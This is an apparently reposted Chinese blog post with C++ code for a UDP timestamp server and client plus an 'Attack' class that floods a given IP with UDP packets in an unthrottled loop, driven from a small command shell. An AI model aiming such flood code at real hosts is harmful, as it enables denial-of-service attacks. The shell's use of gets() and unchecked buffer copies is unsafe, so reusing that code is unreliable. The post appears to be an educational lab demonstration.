设为首页收藏本站

安而遇随-随遇而安

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
安而遇随-随遇而安 首页 其他 转载 查看内容

UDP服务和flood攻击

2017-8-18 17:37| 发布者: 随便、先森。| 查看: 478| 评论: 0|原作者: kenail|来自: 博客园

摘要: Udp类:对UDP套接字进行封装udp.h // udp.h对UDP套接字进行封装 #ifndef __UDP_H__ #define __UDP_H__ class Udp { private: int sock; //套接字描述符 public: int Open(char *errbuff); void Close(); int Bind(ch ...
Udp类:对UDP套接字进行封装
udp.h
  // udp.h对UDP套接字进行封装
  #ifndef __UDP_H__
  #define __UDP_H__
  
  class Udp
  {
  private:
      int sock; //套接字描述符
  public:
     int    Open(char *errbuff);
     void    Close();
     int    Bind(char* addr, unsigned short port, char* errbuff);
     int    Recv(char* buff, int len, unsigned int &nip, 
             unsigned short &nport, char* errbuff);
     int    Send(char* buff, int len, unsigned int nip,
             unsigned short nport, char *errbuff);
 
     int     Getfd(){return sock;}    
     Udp();
     ~Udp();
 };
 
 #endif
udp.cpp
  // udp.cpp
  #include <sys/socket.h>
  #include <netinet/in.h>
  #include <arpa/inet.h>
  /*以上三个头文件为网络编程所必须*/
 
  #include <unistd.h>
  #include <errno.h>
  #include <string.h>
  #include <stdio.h>
  
  #include "udp.h"
  #include "defs.h"
  
  
  Udp::Udp()
  {
      sock = -1;
  }
  
  Udp::~Udp()
  {
      if(sock != -1){
          close(sock);
      }
  }
  
  int Udp::Recv(
      char* buff, 
      int len, 
      unsigned int &nip, 
      unsigned short &nport, 
      char *errbuff
  )
  {
      int result = 0;
      socklen_t socklen = sizeof(sockaddr);
  
      sockaddr_in addr;
      memset(&addr, 0, sizeof(sockaddr_in));
  
      /*设置超时时间*/
      fd_set fds;
      FD_ZERO(&fds);
      FD_SET(sock, &fds);
  
      timeval tv;
      tv.tv_sec = 3;
      tv.tv_usec = 0;
  
      result = select(sock + 1, &fds, NULL, NULL, &tv);
      CURRENTERROR(errbuff);
      if(-1 == result){
          return -1;
      }
      else if(0 == result){
          return 0;
      }
      
      result = recvfrom(sock, buff, len, 0, (sockaddr*)&addr, &socklen);
      CURRENTERROR(errbuff);
  
      /*记录对方网络格式的地址和端口*/
      nip = addr.sin_addr.s_addr;
      nport = addr.sin_port;
  
      return result;
  }
  
  int Udp::Send(
      char* buff, 
      int len, 
      unsigned int nip, 
      unsigned short nport, 
      char *errbuff
  )
  {
      int result = 0;
      socklen_t socklen = sizeof(sockaddr);
  
      sockaddr_in addr;
      memset(&addr, 0, sizeof(sockaddr_in));
      addr.sin_family = AF_INET;
      addr.sin_addr.s_addr = nip;
      addr.sin_port = nport;
  
      result = sendto(sock, buff, len, 0, (sockaddr*)&addr, socklen);
      CURRENTERROR(errbuff);
  
      return result;
  }
  
  int Udp::Open(char *errbuff)
  {
      if(sock != -1){
          close(sock);
          sock = -1;
      }
  
     sock = socket(AF_INET, SOCK_DGRAM, 0);
     CURRENTERROR(errbuff);
     if(sock == -1){
         return -1;
     }
     
     return 0;
 }
 
 void Udp::Close()
 {
     if(sock != -1){
         close(sock);
         sock = -1;
     }
 }
 
 int Udp::Bind(char *ip, unsigned short port, char* errbuff)
 {
     sockaddr_in saddr;
     memset(&saddr, 0, sizeof(sockaddr_in));
     saddr.sin_family = AF_INET;
     saddr.sin_addr.s_addr = inet_addr(ip);
     saddr.sin_port = htons(port);
 
     if(saddr.sin_addr.s_addr == INADDR_NONE){    
         strcpy(errbuff, "Invalid IP format");
         return -1;
     }
 
     int result;
     result = bind(sock, (sockaddr*)&saddr, sizeof(sockaddr_in));
     CURRENTERROR(errbuff);    
     
     return result;
 }


Server类:利用Udp类,提供UDP服务

server.h

  // server.h
  #ifndef __SERVER_H__
  #define __SERVER_H__
  
  #include "udp.h"
  
  class Server
  {
  private:
     Udp udp;
     unsigned int reqs; // 已经接收到的请求数量
 
     static Server *pser; // 本对象指针
 
     Server(); // 在一个程序中,只允许一个对象
 public:
     static Server* GetInstance(); // 获取该对象
     ~Server();
 
     int Start(unsigned short port); // 启动UDP服务
     int Listen(); // 监听网络请求
     int Stat(); // 统计请求速率
 };
 
 #endif
server.cpp
 #include "server.h"
 #include "defs.h"
 #include "slot.h"
 
 #include <stdio.h>
 #include <pthread.h>
 #include <unistd.h>
 
 Server *Server::pser = NULL;
 
 static void* ServiceThread(void *arg) // UDP服务线程处理函数
 {
     if(!arg) return NULL;
 
     Server *pser = (Server *)arg;
     pser->Listen();
 }
 
 static void* ServiceStat(void *arg) // 请求速率统计线程处理函数
 {
     if(!arg) return NULL;
 
     Server *pser = (Server *)arg;
     pser->Stat();
 }
 
 int Server::Stat()
 {
     float req0, req1;
     int slen = 3000000; 
 
     // 每隔3秒统计一次
     while(true){
         req0 = reqs;
         usleep(slen);
         req1 = reqs;
 
         printf("Req: %.2f r/s\n", (req1 - req0)/(slen/1000000));        
     }
 }
 
 Server::Server()
 {
     reqs = 0;
 }
 
 Server::~Server()
 {
     if(pser){
         delete pser;
     }
 }
 
 Server* Server::GetInstance()
 {
     if(!pser){//第一次运行,创建新对象
         pser = new Server;
     }
     
     return pser;
 }
 
 int Server::Listen()
 {
     char buff[1514];
     unsigned int nip;
     unsigned short nport;
     int len;
 
     SlotAck sa; // 这里还没有赋值为加密后的时间戳
     while(true){
         /*等待请求,并作出应答*/
         len = udp.Recv(buff, 1514, nip, nport, NULL);
         if(len > 0)
         {
             udp.Send((char *)&sa, sizeof(sa), nip, nport, NULL);
             reqs++;
         }        
     }
 
     return 0;
 }
 
 int Server::Start(unsigned short port)
 {
     printf("Server: Open...\n");
     char errbuff[ERRBUFFLENGTH];
     if(-1 == udp.Open(errbuff)){
         printf("%s\n", errbuff);
         return -1;
     }
 
     printf("Server: Bind (%d)...\n", port);
     char ip[] = "0.0.0.0";
     if(-1 == udp.Bind(ip, port, errbuff)){
         printf("%s\n", errbuff);
         return -1;
     }
     
     // 启动两个线程
     pthread_t pth;
     pthread_create(&pth, NULL, ServiceThread, this);
     pthread_create(&pth, NULL, ServiceStat, this);
     
     return 0;
 }


Client类:利用Udp类,完成时间戳请求服务

client.h
 // client.h
 #ifndef __CLIENT_H__
 #define __CLIENT_H__
 
 #include "udp.h"
 
 class Client
 {
 private:
     Udp udp;
     unsigned int nserip; // UDP服务器的地址
     unsigned short nserport; // UDP服务器的端口
 
     static Client *pclt; // 本对象指针
 
     Client();
 public:
     static Client* GetInstance();
     ~Client();
 
     int Start(char* addr, unsigned short port);
     int Request();
 };
 
 #endif
client.cpp

 #include "client.h"
 #include "defs.h"
 #include "slot.h"
 
 #include <stdio.h>
 #include <unistd.h>
 #include <pthread.h>
 
 Client *Client::pclt = NULL;
 
 static void* ServiceThread(void *arg) /*请求线程处理函数*/
 {
     if(!arg) return NULL;
 
     Client *pser = (Client *)arg;
     pser->Request();
 }
 
 Client::Client()
 {
 }
 
 Client::~Client()
 {
     if(pclt){
         delete pclt;
     }
 }
 
 Client* Client::GetInstance()
 {
     if(!pclt){
         pclt = new Client;
     }
     
     return pclt;
 }
 
 int Client::Request()
 {
     char buff[1514];
     int len;
     SlotReq sr;
 
     unsigned int nip;
     unsigned short nport;
     while(true){
         //每隔1秒请求一次,并等待相应
         len = udp.Send((char*)&sr, sizeof(sr), nserip, nserport, NULL);
         len = udp.Recv(buff, 1514, nip, nport, NULL);
         if(len>0){
             printf("Ack!\n");
         }
         else{
             printf("NoAck!\n");
         }
         usleep(1000000);
     }
 
     return 0;
 }
 
 int Client::Start(char* addr, unsigned short port)
 {
     printf("Client: Open...\n");
     char errbuff[ERRBUFFLENGTH];
     if(-1 == udp.Open(errbuff)){
         printf("%s\n", errbuff);
         return -1;
     }
     
     nserport = htons(port);
     nserip = inet_addr(addr);
     
     pthread_t pth;
     pthread_create(&pth, NULL, ServiceThread, this);
     
     return 0;
 }


Attack类:利用Udp类,完成flood攻击

attack.h

#ifndef __ATTACK_H__
#define __ATTACK_H__

#include "udp.h"

class Attack
{
private:
    Udp udp;
    unsigned int nserip;
    unsigned short nserport;
    static Attack *pclt;

    Attack();
public:
    static Attack* GetInstance();
    ~Attack();

    int Start(char* addr, unsigned short port);
    int Request();
};

#endif
attack.cpp

 #include "attack.h"
 #include "defs.h"
 #include "slot.h"
 
 #include <stdio.h>
 #include <unistd.h>
 #include <pthread.h>
 
 Attack *Attack::pclt = NULL;
 
 static void* ServiceThread(void *arg)
 {
     if(!arg) return NULL;
 
     Attack *pser = (Attack *)arg;
     pser->Request();
 }
 
 Attack::Attack()
 {
 }
 
 Attack::~Attack()
 {
     if(pclt){
         delete pclt;
     }
 }
 
 Attack* Attack::GetInstance()
 {
     if(!pclt){
         pclt = new Attack;
     }
     
     return pclt;
 }
 
 int Attack::Request()
 {
     char buff[1514];
     int len;
     SlotReq sr;
 
     unsigned int nip;
     unsigned short nport;
     while(true){
         len = udp.Send((char*)&sr, sizeof(sr), nserip, nserport, NULL);
         //usleep(1000000);
     }
 
     return 0;
 }
 
 int Attack::Start(char* addr, unsigned short port)
 {
     printf("Attack: Open...\n");
     char errbuff[ERRBUFFLENGTH];
     if(-1 == udp.Open(errbuff)){
         printf("%s\n", errbuff);
         return -1;
     }
 /*
     printf("Attack: Bind (%d)...\n", port-1);
     char ip[] = "0.0.0.0";
     if(-1 == udp.Bind(ip, port-1, errbuff)){
         printf("%s\n", errbuff);
         return -1;
     }
 */    
     nserport = htons(port);
     nserip = inet_addr(addr);
     
     pthread_t pth;
     pthread_create(&pth, NULL, ServiceThread, this);
     
     return 0;
 }


Bash类:提供界面交互功能

bash.h

#ifndef __BASH_H__
#define __BASH_H__
#include <pthread.h>

class Bash
{
private:
    pthread_t pth;
public:
    Bash();
    ~Bash();

    int CmdHdl(char *cmd);
    int Start(char* errbuff);
    int Stop();
    int IOE();
    void HelloMsg();
    void ByeMsg();
    int AddrCheck(char* ip);
};

#endif
  bash.cpp

 #include "bash.h"
 #include "defs.h"
 #include "server.h"
 #include "client.h"
 #include "attack.h"
 #include <iostream>
 using namespace std;
 #include <stdio.h>
 #include <stdlib.h>
 #include <errno.h>
 
 #define inhead() printf("root@hs # ")
 
 void* BashThread(void *arg)
 {
     Bash *pbash = (Bash*)arg;
     pbash->IOE();
 
     return NULL;
 }
 
 void Bash::HelloMsg()
 {
     system("clear");
     printf("------------------------------------------------------------\n");
     printf("-------------------------Bash Start-------------------------\n");
     printf("------------------------------------------------------------\n");
 }
 
 void Bash::ByeMsg()
 {
     printf("------------------------------------------------------------\n");
     printf("--------------------------Bash end--------------------------\n");
     printf("------------------------------------------------------------\n");
 }
 
 Bash::Bash()
 {
     
 }
 
 Bash::~Bash()
 {
 
 }
 
 int Bash::AddrCheck(char* ip)
 {
     int result = 0;
     int a[4];
 
     result = sscanf(ip, "%d.%d.%d.%d", &a[0], &a[1], &a[2], &a[3]);
     if(result < 4){
         return -1;
     }
     
     for(int i = 0; i<4; i++){
         if(a[i] >= 255 || a[i] < 0)
             return -1;
     }
 
     return 0;
 }
 
 int Bash::Start(char* errbuff)
 {
     int result;
     result = pthread_create(&pth, NULL, BashThread, this);
     if(result){
         CURRENTERROR(errbuff);
         return -1;
     }
 
     pthread_join(pth, NULL);
 
     return 0;
 }
 
 int Bash::CmdHdl(char *cmd)
 {
     char cmdh[32], cmdl[BASH_MAXCMDLENGTH - 32];
     
     if(!cmd){
         return 0;
     }
 
     while(*cmd != '\0' && (*cmd == ' ' || *cmd == '\t' || *cmd == '\n')){
         cmd++;
     }
 
     int i = 0;
     while(*cmd != '\0' && *cmd != ' ' && *cmd != '\t'){
         cmdh[i++] = *cmd++;
     }
     cmdh[i] = 0;
 
     while(*cmd != '\0' && (*cmd == ' ' || *cmd == '\t' || *cmd == '\n')){
         cmd++;
     }
 
     i = 0;
     while(*cmd != '\0'){
         cmdl[i++] = *cmd++;
     }
     cmdl[i] = 0;
 
     if(!strcmp(cmdh, "quit") || !strcmp(cmdh, "q")){
         ByeMsg();
         pthread_exit(NULL);
     }
     else if(!strcmp(cmdh, "ser") || !strcmp(cmdh, "s")){
         Server::GetInstance()->Start(2223);
     }
     else if(!strcmp(cmdh, "clt") || !strcmp(cmdh, "c")){
         if(-1 == AddrCheck(cmdl)){
             printf("IP address [%s] is invalid.\n", cmdl);
             return -1;
         }printf("IP address [%s] is invalid.\n", cmdl);
         Client::GetInstance()->Start(cmdl, 2223);
     }
     else if(!strcmp(cmdh, "att") || !strcmp(cmdh, "a")){
         if(-1 == AddrCheck(cmdl)){
             printf("IP address [%s] is invalid.\n", cmdl);
             return -1;
         }
         Attack::GetInstance()->Start(cmdl, 2223);
     }
     else{
         printf("\"%s\" is invalid!\n", cmdh);
     }
 
     return 0;
 }
 
 int Bash::IOE()
 {
     HelloMsg();
 
     char ibuff[BASH_MAXCMDLENGTH];
     while(true){
         inhead();
         gets(ibuff);
         CmdHdl(ibuff);
     }
 
     return 0;
 }
 
 int Bash::Stop()
 {
     
 }




鲜花

握手

雷人

路过

鸡蛋
上一篇:Wear GFW下一篇:DNS反射攻击

相关阅读

最新评论

返回顶部